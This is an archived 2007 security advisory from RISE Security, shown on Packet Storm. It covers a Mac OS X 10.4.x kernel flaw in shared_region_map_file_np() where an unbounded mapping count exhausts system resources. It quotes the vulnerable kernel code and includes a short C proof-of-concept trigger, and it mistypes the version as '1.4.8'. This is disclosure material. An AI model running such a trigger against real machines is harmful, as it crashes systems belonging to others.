exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

RISE-2007001.txt

RISE-2007001.txt
Posted Jan 20, 2007
Authored by RISE Security | Site risesecurity.org

The Apple Mac OS X 10.4.x kernel suffers from a memory corruption vulnerability in shared_region_map_file_np().

tags | advisory, kernel
systems | apple, osx
SHA-256 | 9608385af0e3310b37dac0ddba1c1fd934d65eed1f276a0fd34c722cf524876d

RISE-2007001.txt

Change Mirror Download
RISE-2007001
Apple Mac OS X 10.4.x kernel shared_region_map_file_np() memory corruption
vulnerability

Released: January 19, 2007
Last updated: January 19, 2007

INTRODUCTION

There exists a vulnerability within a function of the Apple Mac OS X 10.4.x
kernel (Apple Mac OS X 1.4.8 and lower), which when properly exploited can lead
to local compromise of the vulnerable system.
This vulnerability was confirmed by us in the up-to-date Apple Mac OS X 1.4.8
(8L2127).

DETAILS

The kernel provides a mechanism for system-wide memory sharing, the Shared
Memory Server subsystem. Using this facility, both the kernel and user programs
can share code and data among all tasks on the system. It is also possible to
give one or more tasks private versions of the shared memory.

shared_region_map_file_np() is used by dyld to map parts of a split-segment
library in the global shared read-only and read-write regions. dyld parses the
load commands in the library file and prepares an array of shared region mapping
structures, each of which specifies the address, size, and protection values of
a single mapping. It passes this array along with an open file descriptor for
the library to shared_region_map_file_np(), which attempts to establish each of
the requested mappings. shared_region_map_file_np() also takes as an argument a
pointer to an address variable: If the pointer is non-NULL and the requested
mappings cannot fit in the target address space as desired, the kernel will
attempt to slide (move around) the mappings to make them fit. The resultant
slide value is returned in the address variable. If the pointer is NULL instead,
the call returns an error without attempting to slide.

This vulnerability can be triggered by calling the shared_region_map_file_np()
system call with a high mapping_count value, which due to lack of bounds
checking will result in the consumption of all available operating system
resources.
This is part of the vulnerable function from Apple Mac OS X 1.4.8.

/*
* Get the list of mappings the caller wants us to establish.
*/
mapping_count = uap->mappingCount; /* the number of mappings */
mappings_size = (vm_size_t) (mapping_count * sizeof (mappings[0]));
if (mapping_count == 0) {
SHARED_REGION_TRACE(
SHARED_REGION_TRACE_INFO,
("shared_region: %p [%d(%s)] map_file(%p:'%s'): "
"no mappings\n",
current_thread(), p->p_pid, p->p_comm,
vp, vp->v_name));
error = 0; /* no mappings: we're done ! */
goto done;
} else if (mapping_count <= SFM_MAX_STACK) {
mappings = &stack_mappings[0];
} else {
if ((mach_vm_size_t) mappings_size !=
(mach_vm_size_t) mapping_count * sizeof (mappings[0])) {
/* 32-bit integer overflow */
error = EINVAL;
goto done;
}
kr = kmem_alloc(kernel_map,
(vm_offset_t *) &mappings,
mappings_size);

A little proof of concept code that triggers this vulnerability can be found
in appendix section of this document.

VENDOR

Vendor was notified, as this is not a critical vulnerability, proper corrections
should be available soon.

CREDITS

This vulnerability was discovered by Adriano Lima <adriano@risesecurity.org>.

REFERENCES

[1] Mac OS X Internals: A Systems Approach By Amit Singh

DISCLAIMER

The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in this
document. Liability claims regarding damage caused by the use of any information
provided, including any kind of information which is incomplete or incorrect,
will therefore be rejected.

APPENDIX

osx-x86-shared.c

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <unistd.h>

int main(int argc,char **argv){
int fd;

if((fd=open("/usr/lib/libSystem.dylib",O_RDONLY))==-1){
perror("open");
exit(EXIT_FAILURE);
}

if(syscall(SYS_shared_region_map_file_np,fd,0x02000000,NULL,NULL)==-1){
perror("shared_region_map_file_np");
exit(EXIT_FAILURE);
}

exit(EXIT_FAILURE);
}


$Id: RISE-2007001.txt 3 2007-01-19 23:07:37Z ramon $

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close